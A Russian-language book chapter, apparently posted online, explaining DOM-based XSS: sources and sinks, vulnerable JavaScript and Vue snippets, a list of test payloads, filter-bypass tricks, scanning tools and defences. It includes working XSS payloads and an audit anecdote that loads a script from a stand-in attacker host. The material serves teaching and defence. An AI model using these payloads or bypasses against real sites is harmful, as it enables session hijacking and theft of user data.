Книга: «Все об уязвимости XSS». Глава 2: Типы XSS — Знай врага в лицо 👀. DOM-based XSS: когда JavaScript сам себе враг

Если классический XSS — это атака на серверную часть, где неочищенный ввод пользователя возвращается через HTML, то DOM-based XSS переносит игру на новый уровень. Здесь зломышленник общается не с сервером, а с самим браузером и его JavaScript-кодом. Вся магия происходит уже после того, как пользователь загрузил страницу. Это современный, коварный, и зачастую невидимый для стандартных защит тип уязвимости. Добро пожаловать в адскую смесь легаси-джаваскрипта, фреймворков и client-side багов.

Как рождается DOM-based XSS

В отличие от reflected и stored XSS, где уязвимым оказывается сервер или база данных, источник DOM-based XSS — сам клиентский код. Классика: сайт получает ввод пользователя через URL, фрагмент, cookie, localStorage или другие источники, и скрипты на странице неправильно обрабатывают этот ввод, вставляя его во встроенные объекты DOM (например, через innerHTML, document.write или даже eval).

• Пользователь переходит по ссылке или заполняет поле

• JavaScript берёт этот ввод непосредственно из клиента — например, из location.hash, document.cookie, window.name, localStorage

• Скрипт вставляет данные куда-то в DOM, часто в качестве HTML или атрибута

• Браузер видит вредоносные теги и выполняет их, открывая дорогу атакующему

Весь процесс протекает на стороне пользователя, минуя сервер — и поэтому невидим для бэкенд-логов, WAF-ов и фильтров.

Классические примеры

Сценарий 1: работа с location.hash

document.getElementById('output').innerHTML = location.hash.substr(1);

Ты заходишь по ссылке:

`https://site.com/page#<img src=x onerror=alert(1)>`

И всё, alert(1) сработал — JavaScript вставил payload на страницу, браузер подхватил теги и выполнил скрипт.

Сценарий 2: document.write с user-controlled данными

var content = getParamFromUrl('data');
document.write(content);

Параметр ?data=evil() приводит к выполнению скрипта.

Сценарий 3: использования eval

Любой, у кого есть доступ к хэшу, может исполнить свой JavaScript в контексте страницы.

Источники и стоки: основа любой атаки

В контексте DOM-based XSS важно знать два типа точек:

• Sources — места, откуда JavaScript получает данные: location.hash, document.URL, window.name, cookies, localStorage, формы, сообщения из других окон (postMessage)

• Sinks — методы, которые вставляют данные в DOM: innerHTML, document.write, outerHTML, insertAdjacentHTML, eval, setTimeout/Interval (со строкой), атрибуты через element.setAttribute

Вся суть атаки — сделать так, чтобы пользовательские данные из sources попали в sinks без фильтрации и экранирования.

Почему DOM-based XSS опаснее классики

1. Полная невидимость для серверных защит. Никакие фильтры, WAF, защита от SQLi и прочее не увидят, что ты через JavaScript сделал вставку в DOM.

2. Мобильность и современность. Single Page Applications (SPA), фреймворки типа React/Vue/Angular — всё это работает с клиентским роутингом, localStorage, динамическим контентом. Чем больше логики на фронте, тем выше шанс ошибиться.

3. Сложность обнаружения. Большинство сканеров ищут XSS только на сервере. DOM-based дыры требуют особых инструментов — например, Burp Suite с включённым DOM-сканированием или специальные плагины для браузера.

4. Часто находится в легаси и кастомном JS. Сайты годами тащат за собой костыли, копипасты из stackoverflow, jquery-плагины, свои скрипты — где кто-то когда-то забыл экранирование.

Трюки и лайфхаки для поиска

• Ищи любые вставки из URL, hash, search-параметров, window.name, user input, cookie, localStorage.

• Проверь, используются ли innerHTML/document.write/insertAdjacentHTML — это самые сладкие места для атак.

• Используй Chrome DevTools, чтобы отследить, что берёт JS из клиента и куда вставляет. Простой search по коду: “innerHTML”, “eval”, “location”, “document.write”.

• Осмотри сторонние плагины, кастомные js-библиотеки — там часто встречаются забытые дыры.

• Проверь chain атаки: иногда данные проходят несколько обработок — сначала как текст, потом как HTML, и только на третьем этапе становится XSS’ом.

Payload’ы и Polyglots

• `<img src=x onerror=alert('XSS')>` — классика для проверки innerHTML/insertAdjacentHTML.

• `<svg/onload=alert(1)>` — обход для некоторых фильтров.

• `"><script>alert(1)</script>` — если годится разрыв тега.

• `javascript:alert(1)` — для uri-схем (location.assign, href).

• `setTimeout("alert(1)")` — если параметр уходит в строку.

Polyglot-атаки — это payload’ы, которые работают в разных контекстах одновременно. Их легко найти в списках PayloadAllTheThings и аналогичных ресурсов.

Инструменты поиска

• Burp Suite Pro — c DOM XSS scanner

• DOM Invader (от PortSwigger) — расширение для браузера, которое показывает sources/sinks и сразу подсвечивает рисковые участки

• XSS Hunter — хорош для Blind DOM XSS, когда твой payload срабатывает “где-то” на клиенте чужого пользователя/админа

• Manual code review — открой JS-файл, ищи все подозрительные места

Автоматизируй, но не пренебрегай ручным анализом — лучшие DOM-based XSS часто появляются там, где сканеры молчат.

Обходы и хитрости

• Используй двойное и тройное экранирование: попробуй `/`, `%2f`, `\x3c` вместо `<`.

• Разбивай payload на части — некоторые фильтры режут по символу, но забывают про сочетания.

• Проверь старые версии JS-библиотек и jQuery — там много костылей, которые были закрыты только в новых релизах.

• Используй многоступенчатые атаки: вставь payload через window.name, а затем вызови его через innerHTML в другом месте кода.

Как защищаться

1. Экранирование всего ввода в client-side JS. Никогда не вставляй данные во внутренние объекты DOM без очистки.

2. Используй безопасные методы. textContent, innerText вместо innerHTML. Для атрибутов — используйте безопасные API, например, через Node.setAttribute с валидацией.

3. Content Security Policy. Введи строгие правила CSP, запрети inline scripts и небезопасные источники.

4. Регулярный аудит клиентского кода. Все новые JS-фичи проверяй на потенциальные XSS через manual review и автоматические инструменты.

5. Либо доверяй, либо никогда не вставляй user input в HTML, JS, URI контексты без тотального контроля и валидации.

Кейсы и массовые баги

За последние годы огромное количество топовых продуктов страдали от DOM-based XSS:

• Gmail (2017): один параметр уходил в innerHTML без проверки, позволял красть письма через открытие вредоносной ссылки.

• AngularJS (старые версии): баги с фильтрацией данных во встроенных директивах (например, ng-bind-html).

• jQuery: до версии 3.0 innerHTML часто пробрасывался raw.

• WordPress плагины: часто в админках, где данные из форм уходили в браузер саппорта или модератора.

• SPA-приложения: с динамическим роутингом, в которых все параметры переносятся через URL и отображаются как HTML.

Пример из жизни

Однажды клиент попросил аудит SPA на Vue. В коде обнаружился классический баг:

let q = location.hash.substr(1);
vm.htmlContent = q;

В шаблоне:

`<div v-html="htmlContent"></div>`

Обычный переход по `#<script src=https://evil.me/pwn.js></script>` приводил к тотальному захвату браузера всех, кто посещал страницу с любым параметром. Администратор попадался в 100% случаев, так как часто открывал ссылки в тикетах.

Итоги

DOM-based XSS — это атака, стоящая на передовой современного клиентского кода. Она невидима для серверных средств защиты, часто живёт годами и поражает даже защищённые, современные веб-приложения. И если ты хочешь быть настоящим охотником за багами, научись видеть эти уязвимости в современных SPA, фреймворках, кастомных js-библиотеках, и всегда помни: JavaScript сам себе враг, если с ним обращаться неаккуратно.

66 views·9 shares